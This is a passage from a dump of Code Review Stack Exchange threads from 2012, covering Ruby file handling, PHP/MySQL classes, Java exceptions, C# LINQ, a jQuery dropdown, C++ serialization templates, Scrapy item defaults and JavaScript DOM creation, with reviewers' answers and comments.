"body": "<p>Your refactor seems to have reduced the readability of your code, which is usually the opposite of your intent when refactoring. The code may be terser, and string interpolation and re-use is a part of how you've achieved this, but it doesn't make the code easy to follow. That will make it harder for you and your colleagues to modify it over time.</p>\n\n<p>I actually prefer your original code a lot. You've pulled two methods out of your main execution flow, so it's possible to see at a glance what the code is doing - validate a directory, find all the files in it and do some form of outputting on each. That clarity is missing from the newer code because it is all written at the same level.</p>\n\n<p>Your code makes use of <code>#dup</code> and <code>#clone</code> a lot. These methods are not needed in many of the places you use them, so they add noise to the code. For example <code>files = folder.clone + \"*.flv\"</code> does not need the <code>#clone</code> call because the <code>+</code> method will create a new String from the content of <code>folder.clone</code> and <code>*.flv</code>. Writing <code>files = folder + \"*.flv\"</code> would work just fine.</p>\n\n<p>Here is a take on your original code that adds some readability by avoiding repetition and giving fuller names to variables and methods.</p>\n\n<pre><code> def normalize_directory(dir)\n normalized = dir.gsub('\\\\', '/')\n normalized += '/' unless normalized.[-1,1] == '/'\n end\n\n def validate_directory(dir)\n if dir.empty?\n puts \"Enter the full directory path of the flv files.\" \n dir = gets.chomp\n end\n dir = normalize_directory(dir)\n\n until File.directory?(dir) && !Dir.glob(\"#{dir}*.flv\").empty?\n puts \"That directory either doesn't exist or contains no .flv files. \\nEnter the full directory path of the flv files.\"\n dir = gets.chomp\n dir = normalize_directory(dir)\n end\n\n dir\n end\n\n def output_html_wrapper(flv_filename, output_folder)\n html_filename = flv_filename.gsub(\".flv\", \".html\")\n vid = flv_filename.slice(0..6)\n\n html_body = $EMBED.gsub(\"sample.flv\", vid) \n html_output = File.open(html_filename, \"w\")\n html_output.write(html_body)\n html_output.close\n\n link = vid.gsub(\".flv\", \".html\")\n link_list = File.open(\"#{output_folder}List of Links.txt\", \"a\")\n link_list.write($BASE + link + \"\\n\")\n link_list.close\n\n puts \"Files created successfully.\"\n end\n\n folder = validate_directory(ARGV[0]) \n flvs = Dir.glob(\"#{folder}*.flv\") \n File.delete(\"#{folder}List of Links.txt\") if File.exists?(\"#{folder}List of Links.txt\")\n flvs.each { |flv| output_html_wrapper(flv, folder) }\n</code></pre>\n\n<p>Being DRY is about keeping a piece of knowledge in one place, whether that's a file name, the way you clean up some input or anything similar. The <code>normalize_directory</code> method I added DRYs up your code by putting in one place the logic for making a valid directory name out of the user's input.</p>\n\n<p>Declaring a variable for a single use is extremely useful if it helps describe what the value is being used for. The <code>vid</code> variable in your code is still a mystery to me regarding what it actually contains. This is a great place to give something a name, and in doing so document your code without comments.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T22:23:35.547",
"Id": "16622",
"Score": "0",
"body": "I like that you broke out the normalizing and the validation. I was thinking that might be the way to go in the methods version, and it is definitely clearer.\nIn the validate_directory method, isn't the \"unless dir\" redundant with the if statement? Same for the \"dir\" at the end of the method. Is the return of dir not implied? Or is this just for clarity? What makes you decided to include an explicit return for clarity?\n\nThanks for the great response."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T15:06:14.447",
"Id": "16664",
"Score": "0",
"body": "The explicit return of `dir` was because it's not obvious what will be returned when there are conditionals - it's easier to see a single return point than to scan the different branch points. I've removed the `unless dir`, as you're absolutely right about it being redundant."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T16:12:22.430",
"Id": "16669",
"Score": "0",
"body": "So normalized.last was giving me a 'no method' error, and the vid thing (which I opted to just do with string manipulation on the fly) was to remove the drive letter and colon from the beginning of the file. This made me realize this script will only work on windows, so that's another thing I should update."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T20:56:04.427",
"Id": "16682",
"Score": "0",
"body": "You're right on `normalized.last` - I forgot I was dealing with a String, not an Array. The ActiveSupport gem adds this function to String, including that for a small script is a step to far. Updated code again, with what seems to be a more common (and slightly more readable) way to get the last character. Note that I've not tested the code at all, so apologies for any bugs."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:52:10.117",
"Id": "10420",
"ParentId": "10417",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10420",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T19:55:49.443",
"Id": "10417",
"Score": "3",
"Tags": [
"ruby"
],
"Title": "When to use a new variable vs string interpolation?"
}
|
10417
|
<p>I have the following table called info:</p>
<pre><code>info_name | info_value
name | Susan
desc | Human
</code></pre>
<p>I'm trying to print Susan without knowing that the value is Susan.</p>
<p>The following code works, but I want to know if what I wrote is correct.</p>
<p>I'm open to any improvements.</p>
<p>Config Class:</p>
<pre><code>class Config {
private $hostname = 'localhost';
private $username = 'blah';
private $password = 'blah';
private $database = 'blah';
public function __construct()
{
$this->connection = new mysqli($this->hostname,$this->username,$this->password,$this->database);
if($this->connection->connect_errno)
{
die('Error: ' . $this->database->error);
}
}
public function query($query)
{
return $this->connection->query($query);
}
public function __destruct()
{
$this->connection->close();
}
}
</code></pre>
<p>Name Class:</p>
<pre><code>class Name {
protected $name;
public function __construct()
{
$this->db = new Config;
$r = $this->db->query('SELECT info_value FROM info WHERE info_name="name"');
while($row = $r->fetch_row())
{
$this->name = $row['0'];
}
}
public function getName()
{
return $this->name;
}
}
</code></pre>
<p>Print Results:</p>
<pre><code><?php $show_name = new Name(); echo $show_name->getName(); ?>
</code></pre>
<p>Thanks for any help!</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T23:07:48.417",
"Id": "16624",
"Score": "0",
"body": "I think there's a typo in the error handling when the connection fails. `$this->database->error` will not work. Maybe you meant `$this->connection->error`."
}
] |
[
{
"body": "<p>Your <code>config</code> and <code>name</code> classes are good starts. Here are a few humble suggestions:</p>\n\n<ol>\n<li><p>I highly suggest steering clear of what is called the entity-attribute-value pattern when structuring your MySQL tables. Here is an <a href=\"http://pratchev.blogspot.com/2010/07/refactoring-entity-attribute-value.html\" rel=\"nofollow\">article</a> that discusses ways of refactoring. Also, if you are interested in learning more about mysql (and sql in general) I highly recommend the book SQL Antipatterns by Bill Karwin.</p></li>\n<li><p>In the future, if your projects grow and you want a more robust system, you may want to look into a few concepts such as <a href=\"http://en.wikipedia.org/wiki/Dependency_injection\" rel=\"nofollow\">dependency injection</a>, which will help if and (hopefully) when you ever start unit testing with software like PHPUnit.</p></li>\n</ol>\n\n<p>Hope this helps!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T06:17:58.103",
"Id": "10426",
"ParentId": "10418",
"Score": "3"
}
},
{
"body": "<p>Well there is plenty of things you can do depending on what you want to archive!</p>\n\n<p><strong>Dependency Injection</strong></p>\n\n<p>as AndyPerlitch wrote dependency injection is one thing. creating </p>\n\n<pre><code>$this->db = new Config;\n</code></pre>\n\n<p>directly in your method is bad practice (from the dependency injection viewport) because you are stuck with config until you edit your code. If you want to change to Config2 or something else (like a mock for testing) you will have to go into this line (and every other line in your project) and change it! so </p>\n\n<pre><code>public function __construct($oConfig)\n{\n $this->db = $oConfig;\n}\n</code></pre>\n\n<p>would be an improvement </p>\n\n<p><strong>toString()</strong></p>\n\n<p>you could use this magic method to enable simpler output</p>\n\n<pre><code>toString() {\n return $this->name;\n}\n\n<? $oName = new Name($oDB); echo $oName; ?>\n</code></pre>\n\n<p><strong>single responsibility</strong></p>\n\n<p>did you see how creepy it looks to pass the DB handler into the Name object? thats a good sign the name class shouldnt be doing things like querys , maybe you should seperate this kind of operations and use your name class for what it is an abstraction layer or container. you could pass a string into the __constructor and set a default value </p>\n\n<pre><code> __construct($sName = 'john') {}\n\n $sName = $oConfig->query(\"SELECT...\")->fetch_assoc()['name'] // this will not work but you get the point \n $oName = new Name($sName); echo $oName;\n</code></pre>\n\n<p>oh wait the query statement is just floating there, in the middle of our script! lets put it in a class so we can reuse it easaly! we could make a CRUD class or a model or what ever the point is to seperate it from Name and make it reusable</p>\n\n<pre><code>class NameCRUD {\n // this is a good place for the db handler\n __construct($oConfig) {\n $this->db = $oConfig;\n\n }\n\n public function getName() {\n // thats your query function\n }\n}\n</code></pre>\n\n<p><strong>setter / getter</strong></p>\n\n<p>for some people it is good practice to use this methods to set and get properties, you should read about it and make your own choice. </p>\n\n<p><strong>and so on</strong></p>\n\n<p>you see there are so many things you can do, you have to ask yourselve if you need this kind of stuff. You will not need an abstraction layer for mysqli if you never ever will change from mysqli to somethnig else. </p>\n\n<p>dependency injection is mostly for unit testing (there are ofcourse other benefits too) , but if you will not use phpunit .. well you get the point dont you? use what ever suits your project. Read some patterns or even more important some anti patterns and deicde for yourself. i hope i could help you a bit (- ; </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T08:31:03.930",
"Id": "10609",
"ParentId": "10418",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T20:06:40.040",
"Id": "10418",
"Score": "4",
"Tags": [
"php",
"mysql",
"mysqli"
],
"Title": "Am I on the right track? PHP/MySQL"
}
|
10418
|
<p>I'm re factoring some code and have come across a method which is throwing 7 exceptions, the method length is approx 20 lines. The method caller wraps this method in a try catch, and just catches the generic Exception. Is there a better way to handle this ? I don't think I should handle each possible exception thrown individually ?</p>
<pre><code>try {
setter();
}
catch(Exception e){
e.printStackTrace();
}
private void setter() throws MalformedURLException, IOException, ParserConfigurationException, SAXException, TransformerFactoryConfigurationError, TransformerException, XPathExpressionException
{
.....
}
</code></pre>
|
[] |
[
{
"body": "<p>This depends on what you want to do in case of an exception. If your handling is just printing the stack trace your solution is OK. But you might want to react in a different way depending on the problem.</p>\n\n<p>Just an example:</p>\n\n<ul>\n<li>an IO problem could mean that you have to retry (in case on network)</li>\n<li>a malformed URL might mean that you have to generate an error message and ask the user to re-enter the data</li>\n<li>and so on</li>\n</ul>\n\n<p>If you do not try to recover from the error, I don't know if it makes sense to catch the exception, print the stack trace and then continue. It might be the same as letting the application crash (and print the exception anyway).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T08:40:45.493",
"Id": "16644",
"Score": "0",
"body": "+1 I agree. It depends on what each exception is thrown for and how you want to handle them. Handling all 7 isn't bad if that is what is required. Perhaps at different abstraction levels different exceptions can be handled...."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T08:33:37.580",
"Id": "10430",
"ParentId": "10429",
"Score": "7"
}
},
{
"body": "<p><code>throws</code> in method declaration means that this method throws that exceptions, but does not handle them by itself. </p>\n\n<p>If a method may throw an exception that it does not handle, it must specify this so that callers can handle that exception. </p>\n\n<p>This is necessary for all exceptions, except <code>Error</code> or <code>RuntimeException</code>, or any of their derivatives. All other exceptions must be declared in the <code>throws</code> clause. If they are not, a compile-time error will (or may, I'm not sure) be generated.</p>\n\n<p>Bottom line, if you try to throw non-listed exception, compiler will not compile. If you list all necessary exceptions, users of the class will be forced to use <code>try catch</code> blocks.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-08-21T15:45:20.323",
"Id": "47661",
"Score": "2",
"body": "That's a nice description of checked exceptions, but it doesn't seem to address the question?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T09:29:33.770",
"Id": "10432",
"ParentId": "10429",
"Score": "0"
}
},
{
"body": "<p>It's usually not a good idea to catch a generic exception. (See <a href=\"https://stackify.com/common-mistakes-handling-java-exception/#mistake2\" rel=\"nofollow noreferrer\">\"Mistake 2: Catch unspecific exceptions\"</a> in <a href=\"https://stackify.com/common-mistakes-handling-java-exception/\" rel=\"nofollow noreferrer\">7 Common Mistakes You Should Avoid When Handling Java Exceptions</a></p>\n\n<blockquote>\n <p>The severity of this mistake depends on the kind of software component\n you’re implementing and where you catch the exception. It might be ok\n to catch a <em>java.lang.Exception</em> in the <em>main</em> method of your Java SE\n application. But you should prefer to catch specific exceptions, if\n you’re implementing a library or if you’re working on deeper layers of\n your application.</p>\n \n <p>That provides several benefits. It allows you to handle each exception\n class differently and it prevents you from catching exceptions you\n didn’t expect.</p>\n</blockquote>\n\n<p>The real code smell here is that the called method is too long, does too many things, and probably violates SRP. As you can see this has ramifications for the called code which now must handle numerous exceptions, i.e. do too many things. </p>\n\n<p>The biggest problem IMO is, as stated in other reviews, that catching a generic exception has the unintended consequence of possibly catching other exceptions that are not one of those that are declared, and consequently handling them in an unintended way.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-14T19:31:36.030",
"Id": "220251",
"ParentId": "10429",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10430",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T08:10:45.983",
"Id": "10429",
"Score": "3",
"Tags": [
"java"
],
"Title": "How to deal with method which throws 7 exceptions"
}
|
10429
|
<p>While working on a project with a friend of mine, I noticed the following syntax:</p>
<pre><code>public IObservable<X> GetXs()
{
return from x in xs
select x;
}
</code></pre>
<p>He said that while <code>xs</code> is an <code>IObservable<X></code> field, this is the way it is supposed to be written in Linq, and everyone does it this way. It also allows one to add <code>where</code>-clauses later on easily.</p>
<p>On the other hand, Reflector shows that a new delegate is created that is passed to the <code>Select()</code> function on the observable, but that function always returns just <code>this</code>, so it seems to me it also has a slight overhead.</p>
<p>So I don't agree with him and would have written it as follows:</p>
<pre><code>public IObservable<X> GetXs()
{
return xs;
}
</code></pre>
<p>Are there any other reasons for using the <code>from select</code>-syntax without filtering, selecting or ordering that I might have missed? Which syntax is better and why?</p>
|
[] |
[
{
"body": "<p>Based on my understanding the first option is going to create a whole new enumerable object (as well as a linq iterator object) as well as the overhead of calling a function for each element. I would definitely go with the second (your) option. If you need where filtering later, then add it later on.</p>\n\n<p>This next part definitely applies when returning a type of IEnumerable, I can't say 100% for an IObservable, but that LINQ syntax is lazily evaluated. If the return value is NOT used right away but saved for later and the state of xs has changed when you go to use it you might get unexpected results if you don't force the evaluation right away after returning from the function.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:19:32.627",
"Id": "16720",
"Score": "0",
"body": "It's not going to create new enumerable object or an iterator, because there is no `IEnumerabble<T>` in the method. The question is about `IObservable<T>`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:38:36.897",
"Id": "16722",
"Score": "0",
"body": "Maybe I'm wrong... but I wouldn't think it matters what type of object is being returned. The LINQ syntax is being used to populate the collection, so in the execution of that method there will be some overhead of doing the LINQ."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:42:05.267",
"Id": "16723",
"Score": "0",
"body": "But the type of the object is precisely what matters. The LINQ syntax here is not used to populate any collection, simply because there is no collection. And yes, it will probably have some overhead, but I think it will be negligible here, so I wouldn't base my decision on it."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T12:11:08.623",
"Id": "10442",
"ParentId": "10431",
"Score": "-1"
}
},
{
"body": "<p>I don't personally use RX, so my answer may be wrong, but he is it anyway:</p>\n\n<p>I don't know whether “everyone does it this way”, but I doubt it. The code is translated into (after LINQ query transformation and by writing extension method invocation as if it was a normal method):</p>\n\n<pre><code>return Observable.Select(xs, x => x);\n</code></pre>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/hh244306%28v=vs.103%29.aspx\" rel=\"nofollow\"><code>Observable.Select</code></a> does exactly what you would expect it to, if you know LINQ to objects: it creates a new observable, which consumes each item from <code>xs</code>, processes it using the delegate you gave it (which in this case just returns the item unchanged) and then produces the result.</p>\n\n<p>So, using that code does have some overhead, but it will be most likely negligible for you and you shouldn't worry about it much. But it does make the code longer and more confusing (it did confuse you). And “there is a chance it will save you some typing in the future” is not a good reason to sacrifice readability, I think.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T18:55:21.443",
"Id": "10506",
"ParentId": "10431",
"Score": "2"
}
},
{
"body": "<p>Many rules which \"always\" apply or tell you to \"never\" do something should not be taken literally. Nothing is always true.</p>\n\n<p>The only thing that a \"null query\" does is to prevent access to the underlying collection. This is a valid goal, but it seems unnecessary in your case.</p>\n\n<p>You should add complexity when it is required, not by default.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T22:06:57.157",
"Id": "10514",
"ParentId": "10431",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10506",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T09:07:09.957",
"Id": "10431",
"Score": "2",
"Tags": [
"c#",
"linq"
],
"Title": "Using `from select`-syntax to pass through elements from a collection unmodified"
}
|
10431
|
<p>This code works great and does exactly as it should, but there has to be a better way of doing this and I just can't figure out how!</p>
<p>I'm pretty new to jQuery and am trying to use it more myself instead of using plugins and I can get stuff to work fine. It just isn't the tidiest or neatest code, which I'm trying to move away from!</p>
<p>I've included a fiddle <a href="http://jsfiddle.net/9qbmf/" rel="nofollow noreferrer">here</a> just so you can see the functionality as it currently stands.</p>
<p><strong>HTML</strong></p>
<pre><code><ul>
<li>Example 1</li>
<li class="open">Example 2
<ul>
<li>Sub Example 2.1</li>
<li>Sub Example 2.2</li>
<li>Sub Example 2.3</li>
<li>Sub Example 2.4</li>
</ul>
</li>
<li class="open2">Example 3
<ul>
<li>Sub Example 3.1</li>
<li>Sub Example 3.2</li>
<li>Sub Example 3.3</li>
</ul>
<li>
</ul>
</code></pre>
<p><strong>jQuery</strong></p>
<pre><code>var menu = $('li.open ul');
menu.css('display','none');
$('li.open')
.mouseenter(function(){
menu.slideDown(400);
})
.mouseleave(function(){
menu.slideUp(400);
});
var menu2 = $('li.open2 ul');
menu2.css('display', 'none');
$('li.open2')
.mouseenter(function(){
menu2.slideDown(400);
})
.mouseleave(function(){
menu2.slideUp(400);
});
</code></pre>
|
[] |
[
{
"body": "<p>Instead of mouseenter/mouseleave, you can use <a href=\"http://api.jquery.com/hover/\" rel=\"nofollow\">hover</a>. It combines both events.</p>\n\n<p><code>.css('display','none');</code> can be done with <code>.hide();</code></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T12:55:58.600",
"Id": "10446",
"ParentId": "10433",
"Score": "0"
}
},
{
"body": "<p>Instead of selecting <code>.open</code> and <code>.open2</code>, you could change your selector to see if there is a child <code><ul></code>.</p>\n\n<pre><code>$('li:has(ul)').hover(function() {\n $(this).find('ul').slideDown(400);\n}, function() {\n $(this).find('ul').slideUp(400);\n})\n</code></pre>\n\n<p><strong>Edit:</strong> you can also hide all the child <code><ul></code> nodes at once instead of individually.</p>\n\n<pre><code>$('li ul').hide();\n</code></pre>\n\n<h2>Reference</h2>\n\n<p>Here are the three main features of jQuery that I used. Each link uses <<a href=\"http://api.jquery.com\" rel=\"nofollow\">api.jquery.com</a>> which is a great place to learn about various jQuery functions.</p>\n\n<ul>\n<li><a href=\"http://api.jquery.com/has-selector/\" rel=\"nofollow\">:has() selector</a></li>\n<li><a href=\"http://api.jquery.com/hover/\" rel=\"nofollow\">.hover()</a></li>\n<li><a href=\"http://api.jquery.com/find/\" rel=\"nofollow\">.find()</a></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:05:17.547",
"Id": "10447",
"ParentId": "10433",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10447",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T09:31:36.133",
"Id": "10433",
"Score": "2",
"Tags": [
"javascript",
"jquery"
],
"Title": "jQuery vertical dropdown menu"
}
|
10433
|
<p>I'm working on caching library which is intended to work with all types of values.</p>
<p>Values are represented as instances of <code>value_type</code>: <code>value_type</code> holds a <code>std::vector<char></code> for the raw data, and a <code>uint32_t</code> <code>flags</code> integer value which is used to indicate the format of the stored data.</p>
<p>I would like to make it easy for the users of the library and provided a <code>serialize()</code> method that would convert a <code>C++</code> type to a <code>value_type</code> so that instead of writing:</p>
<pre><code>// In the line below, serialization::string is an integer constant
value_type value(serialization::string, "My string");
</code></pre>
<p>People could just write:</p>
<pre><code>value_type value = serialize("My string");
</code></pre>
<p>And somehow the <code>serialize()</code> method would <em>"guess"</em> that the associated integer flag is <code>serialization::string</code>.</p>
<p>I would also make it possible for an user to register his own types and conversions into the serialization mechanism.</p>
<p>I came up with the following code:</p>
<pre><code>/**
* \brief A default serializer type.
* \tparam Type The type to serialize.
*/
template <typename Type>
struct serializer {};
/**
* \brief The base serializer type.
* \tparam Type The serialized type.
* \tparam Flags The flags.
*
* Derive from this type to enable a new serialization.
*/
template <typename Type, value_type::flags_type Flags>
struct base_serializer
{
/**
* \brief The type supported by the serializer.
*/
typedef Type type;
/**
* \brief The flags.
*/
static const value_type::flags_type flags = Flags;
static value_type serialize(const type& value)
{
return value_type(flags, serializer<type>::serialize_data(value));
}
/**
* \brief Deserialize a value.
* \param value The value.
* \return The deserialized value.
*/
static Type deserialize(const value_type& value)
{
if (value.flags() != flags)
{
throw boost::system::system_error(serialization::error::invalid_types, serialization::serialization_category(), "deserialization failed");
}
return serializer<type>::deserialize_data(value.data());
}
};
/**
* \brief Serialize a value.
* \tparam Type The type.
* \param value The value.
* \return The serialized value.
*/
template <typename Type>
value_type serialize(const Type& value) { return serializer<Type>::serialize(value); }
/**
* \brief Deserialize a value.
* \tparam Type The type.
* \param value The value.
* \return The deserialized value.
*/
template <typename Type>
Type deserialize(const value_type& value) { return serializer<Type>::deserialize(value); }
/**
* \brief A const char* serializer.
*/
template <>
struct serializer<const char*> : public base_serializer<const char*, serialization::string>
{
static std::vector<char> serialize_data(type value)
{
return std::vector<char>(value, value + strlen(value));
}
};
/**
* \brief An overload.
* \param value A C-string.
* \return The serialized value.
*/
value_type serialize(const char* value) { return serializer<const char*>::serialize(value); }
/**
* \brief A std::string serializer.
*/
template <>
struct serializer<std::string> : public base_serializer<std::string, serialization::string>
{
static std::vector<char> serialize_data(type value)
{
return std::vector<char>(value.begin(), value.end());
}
static type deserialize_data(const std::vector<char>& value)
{
return type(value.begin(), value.end());
}
};
</code></pre>
<p>Do you guys see any improvement ?</p>
<p>Thank you.</p>
|
[] |
[
{
"body": "<p>You can use an internal traits type to reduce redundancy and complexity.</p>\n\n<pre><code>template< typename serialized >\nstruct serialize_traits; // no implementation of general case\n\nenum class serialize_style {\n string,\n integral\n};\n\ntypedef std::vector< char > serial_type; // consider std::string instead\n\ntemplate<>\nstruct serialize_traits< char * > {\n static const serialize_style style = serialize_style::string;\n};\n\ntemplate<>\nstruct serialize_traits< std::string > {\n static const serialize_style style = serialize_style::string;\n};\n\n// Since serializer has no state, I broke this into a free function.\n/* It works with both char * and std::string, but uses std::enable_if\n to hide itself unless you specify in serialize_traits that it will work. */\n\ntemplate < typename serialized >\ntypename std::enable_if< serialize_traits< serialized >::style == serialize_style::string,\nserial_type >::type\nserialize( serialized const &in ) {\n using std::begin;\n using std::end;\n return serial_type( begin( in ), end( in ) );\n}\n</code></pre>\n\n<p>I need to go so I'll post this now… not tested.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T11:56:15.380",
"Id": "16646",
"Score": "0",
"body": "Thank you very much for taking the time of posting this. I will try it and keep you posted :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:28:36.437",
"Id": "16656",
"Score": "0",
"body": "Ah, it will fail because `begin` and `end` are not defined for `char*` strings. But you get the idea… hope this ultimately helps."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T11:40:32.490",
"Id": "10440",
"ParentId": "10438",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10440",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T11:12:12.860",
"Id": "10438",
"Score": "2",
"Tags": [
"c++",
"template",
"template-meta-programming"
],
"Title": "How can I improve the design of this serialization mechanism?"
}
|
10438
|
<p>I am writing a scraper, using Scrapy, in which I need to populate items with default values at first.</p>
<p>Could my method be improved?</p>
<pre><code> def sp_offer_page(self, response):
item = MallCrawlerItem()
for key, value in self.get_default_item_dict().iteritems():
item[key] = value
item['is_coupon'] = 1
item['mall'] = 'abc'
# some other logic
yield item
def get_default_item_dict(self): # populate item with Default Values
return {'mall': 'null', 'store': 'null', 'bonus': 'null',
'per_action': 0, 'more_than': 0,
'up_to': 0, 'deal_url': 'null', 'category': 'null', 'expiration': 'null', 'discount': 'null',
'is_coupon': 0, 'code': 'null'}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:49:01.933",
"Id": "97665",
"Score": "0",
"body": "Item has [default values](http://readthedocs.org/docs/scrapy/en/latest/topics/loaders.html?highlight=item%20loader#declaring-input-and-output-processors). Why don't you use them?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:21:48.310",
"Id": "97666",
"Score": "0",
"body": "i tried default values in item but its not working like \n\ncategory = Field(default='null')"
}
] |
[
{
"body": "<pre><code> def sp_offer_page(self, response):\n item = MallCrawlerItem()\n</code></pre>\n\n<p>If MallCrawlterItem is your class, it might make more sense to have it set everything to defaults.</p>\n\n<pre><code> for key, value in self.get_default_item_dict().iteritems():\n item[key] = value\n</code></pre>\n\n<p>MallCrawlerItem appears to be dict-like. dict's have a method update, which can replace this loop. If MallCrawlerItem also has this method, you can use it.</p>\n\n<pre><code> item['is_coupon'] = 1\n item['mall'] = 'abc'\n</code></pre>\n\n<p>Why not part of the defaults?</p>\n\n<pre><code> # some other logic \n yield item\n</code></pre>\n\n<p>This doesn't make sense here. I guess this function has been abbreviated.</p>\n\n<pre><code> def get_default_item_dict(self): # populate item with Default Values\n return {'mall': 'null', 'store': 'null', 'bonus': 'null',\n 'per_action': 0, 'more_than': 0,\n 'up_to': 0, 'deal_url': 'null', 'category': 'null', 'expiration': 'null', 'discount': 'null',\n 'is_coupon': 0, 'code': 'null'}\n</code></pre>\n\n<p>I'd put this dictionary in a global constant, not put it inline with your code. I'd also put a line after all the commas. I think that'll be easier to read.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:14:08.577",
"Id": "10448",
"ParentId": "10439",
"Score": "2"
}
},
{
"body": "<p>You can use Field() default values as suggested.</p>\n\n<pre><code>class MalCrawlerItem(Item):\n mall = Field(default='null')\n store = Field(default='null')\n bonus= Field(default='null')\n per_action = Field(default='null')\n more_than = Field(default='null')\n up_to = Field(default='null')\n deal_url = Field(default='null')\n category = Field(default='null')\n expiration = Field(default='null')\n discount = Field(default='null')\n is_coupon = Field(default='null')\n code = Field(default='null')\n</code></pre>\n\n<p>You can also use Item copy in the constructor.</p>\n\n<pre><code>#initialize default item\ndefault = MallCrawlerItem()\ndefault['mall'] ='null'\ndefault['store'] = 'null'\ndefault['bonus'] = 'null'\ndefault['per_action'] = 0\ndefault['more_than'] = 0\ndefault['up_to'] = 0\ndefault['deal_url'] = 'null'\ndefault['category'] = 'null'\ndefault['expiration'] = 'null'\ndefault['discount'] = 'null'\ndefault['is_coupon'] = 0\ndefault['code'] = 'null'\n\n#copy to new instance\nitem = MallCrawlerItem(default)\n</code></pre>\n\n<p>The benefits of this approach are:</p>\n\n<ul>\n<li>constructor copy is the fastest method outside of class definition</li>\n<li>you can create specific default item for your current function. e.g. initializing fixed fields of item before entering a for loop</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-06-30T05:34:33.810",
"Id": "55661",
"ParentId": "10439",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T11:32:04.417",
"Id": "10439",
"Score": "3",
"Tags": [
"python",
"scrapy"
],
"Title": "Default initialization of items using Scrapy"
}
|
10439
|
<p>Example speaks for it self:</p>
<pre><code>function writeSpecialTabContentForTtm(){
document.write('<div style="float:right;width:250px;min-height:200px;display:block;border-width: 1px 1px 1px">');
document.write('<form id="ttmsetpointrun" action="" style="text-align:right">');
document.write('<input style="float:bottom;" type="submit" value="Move to Set Point" />');
document.write('</form>');
document.write('</div>');
</code></pre>
<p>How this should be done? There is a form that is chosen by user. To be precise, user choses a tab and when creating a tab the above function is called. This is something that is changed frequently, so it would be nice to write it in a separate file.</p>
<p><strong>edit:</strong></p>
<p>so, in my case it would be:</p>
<pre><code>var newdiv = document.createElement('div');
newdiv.style = "float:right;width:250px;min-height:200px;display:block;border-width: 1px 1px 1px";
document.body.appendChild(newdiv);
var newform = document.createElement('form');
newform.id = "ttmsetpointrun";
newform.action="";
newform.style="text-align:right";
newdiv.appendChild(newform);
var newinput = document.createElement('input');
newinput.style = "float:bottom;";
newinput.type = "submit";
newinput.value = "Move to Set Point";
newform.appendChild(newinput);
</code></pre>
|
[] |
[
{
